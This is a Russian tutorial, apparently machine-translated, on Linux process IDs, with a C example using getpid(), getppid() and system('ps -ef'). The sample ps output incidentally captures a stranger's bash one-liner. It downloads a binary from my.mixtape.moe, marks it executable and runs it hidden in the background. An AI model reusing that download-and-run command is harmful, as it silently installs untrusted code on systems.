Учебники

Обрабатывать информацию

Прежде чем мы перейдем к информации о процессе, нам нужно знать несколько вещей, таких как —

Что такое процесс? Процесс — это исполняемая программа.

Что такое программа? Программа — это файл, содержащий информацию о процессе и способах его построения во время выполнения. Когда вы запускаете выполнение программы, она загружается в оперативную память и начинает выполнение.

Каждый процесс идентифицируется уникальным положительным целым числом, называемым идентификатором процесса или просто PID (Идентификационный номер процесса). Ядро обычно ограничивает идентификатор процесса 32767, который настраивается. Когда идентификатор процесса достигает этого предела, он снова сбрасывается, то есть после диапазона системных процессов. Неиспользуемые идентификаторы процессов из этого счетчика затем присваиваются вновь созданным процессам.

Системный вызов getpid () возвращает идентификатор процесса вызывающего процесса.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Этот вызов возвращает идентификатор процесса вызывающего процесса, который гарантированно будет уникальным. Этот вызов всегда успешен и поэтому не возвращает значения, указывающего на ошибку.

У каждого процесса есть свой уникальный идентификатор, называемый идентификатором процесса, и это хорошо, но кто его создал? Как получить информацию о его создателе? Создатель процесса называется родительским процессом. Родительский ID или PPID можно получить с помощью вызова getppid ().

Системный вызов getppid () возвращает PID PID вызывающего процесса.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Этот вызов возвращает идентификатор родительского процесса вызывающего процесса. Этот вызов всегда успешен и поэтому не возвращает значения, указывающего на ошибку.

Давайте разберемся с этим на простом примере.

Ниже приведена программа, позволяющая узнать PID и PPID вызывающего процесса.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

При компиляции и выполнении вышеупомянутой программы последующими будут выходные данные.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Примечание. Функция библиотеки «C» system () выполняет команду оболочки. Аргументы, передаваемые system (), являются командами, выполняемыми в оболочке. В вышеприведенной программе команда «ps» указывает статус процесса.

Полная информация обо всех запущенных процессах и другая информация, связанная с системой, доступна в файловой системе proc, доступной по адресу / proc.